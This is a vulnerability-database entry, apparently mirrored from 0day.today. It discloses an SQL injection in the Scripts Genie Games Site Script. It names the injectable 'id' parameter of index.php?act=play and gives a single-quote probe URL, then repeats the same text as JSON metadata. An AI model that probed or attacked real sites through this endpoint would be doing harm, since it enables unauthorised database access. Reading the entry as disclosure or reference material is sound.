Search...

Scripts Genie Games Site Script SQL Injection Vulnerability

2013-02-17T00:00:00

ID 1337DAY-ID-20386
Type zdt
Reporter 3spi0n
Modified 2013-02-17T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ##################################################################################
       __            _                      _            ____           
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, / 
                                                                /____/  
##################################################################################                                                             
Games Site Script, MySQL Injection Vulnerabilities
Software Page: http://scriptsgenie.com/index.php?do=catalog&c=scripts&i=games_site_script
Product Page: http://www.hotscripts.com/listing/150-flash-game-script-comes-with-150-games/
Script Demo: http://scriptsgenie.com/demo/GameScript150Games/
 
Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhats Inc. and Janissaries Platform.
##################################################################################
 
[~] MySQL Injection on Demo Site (/index.php?act=play&id=)
 
&gt;&gt;&gt; http://server/index.php?act=play&id=122' (MySQLi Found)

#  0day.today [2018-04-10]  #

JSON Vulners Source

Initial Source

{"published": "2013-02-17T00:00:00", "id": "1337DAY-ID-20386", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for php platform in category web applications", "enchantments": {"score": {"value": 1.8, "vector": "NONE", "modified": "2018-04-10T05:37:50", "rev": 2}, "dependencies": {"references": [{"type": "cloudfoundry", "idList": ["CFOUNDRY:D3931D51228BAFB9F271664EF7C0E3B6"]}, {"type": "nessus", "idList": ["UBUNTU_USN-4269-1.NASL", "UBUNTU_USN-206-2.NASL", "UBUNTU_USN-194-2.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310844328"]}, {"type": "ubuntu", "idList": ["USN-4269-1"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:20386", "SECURITYVULNS:VULN:9234"]}, {"type": "zdt", "idList": ["1337DAY-ID-9234"]}], "modified": "2018-04-10T05:37:50", "rev": 2}, "vulnersScore": 1.8}, "type": "zdt", "lastseen": "2018-04-10T05:37:50", "edition": 2, "title": "Scripts Genie Games Site Script SQL Injection Vulnerability", "href": "https://0day.today/exploit/description/20386", "modified": "2013-02-17T00:00:00", "bulletinFamily": "exploit", "viewCount": 7, "cvelist": [], "sourceHref": "https://0day.today/exploit/20386", "references": [], "reporter": "3spi0n", "sourceData": "##################################################################################\r\n __ _ _ ____ \r\n / /___ _____ (_)_____________ ______(_)__ _____ / __ \\_________ _\r\n __ / / __ `/ __ \\/ / ___/ ___/ __ `/ ___/ / _ \\/ ___// / / / ___/ __ `/\r\n/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ /\r\n\\____/\\__,_/_/ /_/_/____/____/\\__,_/_/ /_/\\___/____(_)____/_/ \\__, / \r\n /____/ \r\n################################################################################## \r\nGames Site Script, MySQL Injection Vulnerabilities\r\nSoftware Page: http://scriptsgenie.com/index.php?do=catalog&c=scripts&i=games_site_script\r\nProduct Page: http://www.hotscripts.com/listing/150-flash-game-script-comes-with-150-games/\r\nScript Demo: http://scriptsgenie.com/demo/GameScript150Games/\r\n \r\nAuthor(Pentester): 3spi0n\r\nOn Social: Twitter.Com/eyyamgudeer\r\nGreetz: Grayhats Inc. and Janissaries Platform.\r\n##################################################################################\r\n \r\n[~] MySQL Injection on Demo Site (/index.php?act=play&id=)\r\n \r\n>>> http://server/index.php?act=play&id=122' (MySQLi Found)\n\n# 0day.today [2018-04-10] #"}